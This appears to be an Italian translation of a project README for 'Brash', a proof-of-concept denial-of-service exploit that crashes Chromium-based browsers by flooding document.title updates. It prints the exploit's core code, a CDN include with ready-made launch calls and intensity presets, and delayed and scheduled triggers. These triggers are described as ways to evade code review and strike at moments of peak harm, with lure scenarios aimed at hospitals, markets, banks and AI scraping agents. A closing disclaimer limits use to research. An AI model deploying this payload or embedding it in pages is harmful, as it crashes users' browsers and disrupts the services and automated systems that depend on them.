
Attacco DoS al Browser Chromium tramite sfruttamento di document.title

Brash è una vulnerabilità critica in Blink, il motore di rendering che alimenta i browser basati su Chromium di Google. Consente a qualsiasi browser Chromium di collassare in 15-60 secondi sfruttando un difetto architetturale nel modo in cui vengono gestite alcune operazioni DOM.
Il vettore d'attacco nasce dalla completa assenza di rate limiting sugli aggiornamenti dell'API document.title. Ciò consente di iniettare milioni di mutazioni DOM al secondo e, durante questo tentativo di iniezione, satura il thread principale, interrompendo l'event loop e causando il collasso dell'interfaccia. L'impatto è significativo: consuma elevate risorse CPU, degrada le prestazioni complessive del sistema e può bloccare o rallentare altri processi eseguiti contemporaneamente. Colpendo i browser Chromium su desktop, Android e ambienti embedded, questa vulnerabilità espone oltre 3 miliardi di persone su internet a un denial of service a livello di sistema.
STATO: Operativa
VERSIONI COLPITE: Chromium ≤ 143.0.7483.0 (testate: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] L'exploit è attualmente operativo. Una volta corretta la vulnerabilità, questo codice smetterà di funzionare. In ogni caso, scoprire questo difetto architetturale e completare l'intero percorso di ricerca, documentazione e progettazione per condividere qualcosa di impattante con il mondo è stato un viaggio incredibilmente gratificante.
Sono stati testati 11 browser principali su macOS, Windows e Linux per validare l'impatto della vulnerabilità.
Tutti i browser basati su Chromium sono vulnerabili perché il difetto risiede nel cuore del motore di rendering Blink:
Brash sfrutta un difetto architetturale fondamentale nel motore di rendering Blink: l'assenza di throttling sugli aggiornamenti di document.title. L'attacco opera in tre fasi critiche:
Genera 100 stringhe esadecimali uniche di 512 caratteri e le memorizza in memoria prima di iniziare l'attacco.
Perché pre-caricarle invece di generarli in tempo reale?
Perché generare costantemente nuove stringhe consuma tempo CPU in operazioni matematiche. Quel tempo è critico: ogni millisecondo speso per generare stringhe è tempo NON usato per bombardare il browser con aggiornamenti di document.title.
Avendo 100 stringhe già caricate in memoria:
Di conseguenza, otteniamo la massima velocità di iniezione con il massimo consumo di memoria per aggiornamento.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Esegue raffiche configurabili di aggiornamenti del titolo. Con la configurazione predefinita (burst: 8000, interval: 1ms), tenta di iniettare circa 24 milioni di aggiornamenti al secondo, ed è durante questo tentativo che inizia il collasso del browser.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
Gli aggiornamenti continui saturano il thread principale del browser, impedendo l'elaborazione di altri eventi:
Sequenza temporale del collasso:
Perché funziona?
Blink elabora ogni modifica di document.title in modo sincrono sul thread principale senza rate limiting. Questo crea un collo di bottiglia che:
Per comprendere appieno l'impatto di Brash, puoi sperimentare l'exploit in diversi contesti, da una demo live controllata alla tua implementazione personale. Ogni opzione è progettata per diversi livelli di interazione e comprensione tecnica.
Il modo più rapido per vedere Brash in azione. Visita https://brash.run
Per vedere l'exploit senza interfaccia grafica, visita https://brash.run/hidden-live-demo.html. Questa versione esegue l'iniezione in modo invisibile, simulando un attacco reale.
Se preferisci eseguire la demo nel tuo ambiente, la directory exploit-demo/ inclusa nel repository ti consente di:
Basta aprire exploit-demo/index.html in un qualsiasi browser Chromium e configurare i valori burst e interval prima di iniziare.
Per integrare Brash nei tuoi test di sicurezza o nella tua ricerca, includi lo script e configura l'attacco:
Includi lo script:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Utilizzo dell'API:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Configurazioni di intensità:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
Nota: Ogni raffica esegue 3 aggiornamenti sequenziali di
document.title. Ad esempio, burstSize: 400 = 1.200 aggiornamenti effettivi per intervallo.
Brash può essere trasformato in un'arma in molteplici contesti critici, con conseguenze che vanno dalle perdite economiche al rischio per la vita umana.
Una caratteristica critica che amplifica la pericolosità di Brash è la sua capacità di essere programmato per eseguire in momenti specifici. Un attaccante può iniettare il codice con un innesco temporale, rimanendo dormiente fino a un momento esatto predeterminato.
Implementazione tecnica:
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
Parametri:
burstSize: aggiornamenti per ciclointerval: millisecondi tra i ciclidelay: numero (secondi) o stringa ("30s", "5000ms", "3m")scheduled: stringa ISO o oggetto DatePerché il parametro delay è particolarmente letale:
Non richiede di sapere quando apriranno il link: aspetta semplicemente X secondi da quando la vittima apre la pagina.
Tempo per stabilire fiducia: durante i minuti di attesa, la vittima interagisce con contenuti apparentemente legittimi (moduli, documenti, video).
Elude l'ispezione iniziale: se qualcuno esamina rapidamente il codice, sembra inattivo. L'attacco non viene eseguito fino a più tardi.
Tempismo psicologico perfetto: aspetta finché la vittima non è profondamente coinvolta nel compito (a metà esame, a metà riunione, durante una procedura critica).
Scenario tipico con delay:
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse
Perché anche il parametro scheduled è devastante:
Sincronizzazione chirurgica: l'attaccante sceglie il momento esatto di massimo impatto (apertura dei mercati, picco delle operazioni).
Attacchi coordinati su scala globale: più obiettivi possono essere colpiti simultaneamente nello stesso secondo.
Elude il rilevamento preventivo: il codice dannoso può essere presente giorni o settimane prima senza essere eseguito, superando le revisioni di sicurezza.
Impossibile da fermare: quando l'attacco viene eseguito, è troppo tardi per prevenirlo.
Esempi di tempismo strategico:
Questa capacità di tempismo cinetico trasforma Brash da strumento di disruption in arma di precisione temporale, in cui l'attaccante controlla non solo il "cosa" e il "dove", ma anche il "quando" con precisione millimetrica.
Scenario: I sistemi aziendali che dipendono da agenti AI per il web scraping, l'analisi di mercato, il monitoraggio della concorrenza o l'automazione dell'assistenza clienti usano browser headless (Chromium/Puppeteer) per interrogare migliaia di siti web ogni giorno. Un attaccante inietta Brash nei siti popolari che questi agenti interrogano.
Durante operazioni automatizzate critiche:
Vettori d'attacco amplificati:
Impatto reale: paralisi delle operazioni automatizzate critiche, perdite economiche per decisioni non prese, degrado massiccio dei servizi che dipendono dall'AI, costi di ripristino dell'infrastruttura, esposizione della dipendenza critica dagli agenti automatizzati.
Scenario: Un chirurgo cardiovascolare esegue un bypass coronarico assistito da un sistema di navigazione chirurgica basato sul web (sempre più comune negli interventi minimamente invasivi). Il sistema fornisce immagini in tempo reale, metriche vitali del paziente e guida per gli strumenti robotici.
Durante la fase più critica dell'operazione, appare una notifica del browser: "ALERT: aggiornamento critico del sistema chirurgico - Applicare ora o l'operazione potrebbe fallire."
Cliccando nel panico:
Impatto reale: rischio diretto di morte del paziente, possibilità di danni permanenti, trauma psicologico per il team medico, cause legali da milioni di dollari per negligenza tecnologica.
Scenario: Durante l'apertura dei mercati di Wall Street, un attore malintenzionato inietta Brash in più canali contemporaneamente: interfaccia web di Bloomberg Terminal, chat dei trader istituzionali e forum specializzati. Il link promette "Fuga: trascrizione della riunione d'emergenza della Fed - Taglio dei tassi confermato."
Nei primi 30 secondi di contrattazione (massima liquidità):
Impatto reale: migliaia di miliardi di dollari di perdite di capitalizzazione di mercato, panico finanziario globale, indagini della SEC, potenziale crisi di fiducia nei mercati.
Scenario: Gli analisti delle frodi di una banca elaborano in tempo reale alert di transazioni sospette tramite una dashboard web. Durante il Black Friday (picco delle transazioni), ricevono Brash via email aziendale: "Nuovo schema di frode rilevato - analisi urgente richiesta."
Nel momento di massimo volume transazionale:
Impatto reale: milioni di dollari di perdite dirette, migliaia di clienti con addebiti fraudolenti, danni reputazionali massicci, multe normative per guasti ai sistemi di prevenzione.
Questi scenari non sono teorici. La semplicità di Brash lo rende una minaccia reale per qualsiasi operazione che dipenda dai browser web, che nel 2025 significa praticamente tutto.
La creazione di Brash è uno sforzo per dimostrare cosa accade quando mancano protezioni di base nelle tecnologie web che usiamo ogni giorno. La vulnerabilità non risiede in codice complesso o tecniche avanzate, ma nella fondamentale assenza di rate limiting su un'API che dovrebbe essere limitata (throttled) per progettazione.
L'impatto di Brash su oltre 3 miliardi di utenti di browser Chromium dimostra che i difetti architetturali in componenti fondamentali come Blink hanno conseguenze enormi e globali. Questo non è un bug isolato: è un difetto di progettazione che interessa l'intero ecosistema Chromium.
Spesso, le cose più pericolose si nascondono nel posto meno previsto, quello più ignorato. - Jose Pino
Questo PoC è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza, per contribuire a rendere internet un posto più sicuro. La sua esecuzione deve essere effettuata esclusivamente in ambienti controllati e non deve essere utilizzata su sistemi di produzione, siti web pubblici o dispositivi contenenti dati importanti.
L'uso improprio di questo exploit può causare crash del browser, perdita di dati e instabilità del sistema. L'autore non è responsabile di danni, perdite di dati o conseguenze legali derivanti dall'uso o dall'uso improprio di questo PoC. Utilizzando Brash, riconosci di comprendere questi rischi e accetti di usarlo solo per ricerche di sicurezza legittime in ambienti isolati.
Gli utenti sono tenuti a rispettare tutte le leggi e le normative applicabili. L'uso non autorizzato di questo exploit contro sistemi che non possiedi o per i quali non hai il permesso esplicito di testare è illegale e non etico.
Il contenuto di questo progetto è concesso in licenza secondo la Creative Commons Attribution 3.0 license, e il codice sorgente sottostante utilizzato per formattare e visualizzare tale contenuto è concesso in licenza secondo la MIT license.
Copyright (c) 2025 di Jose Pino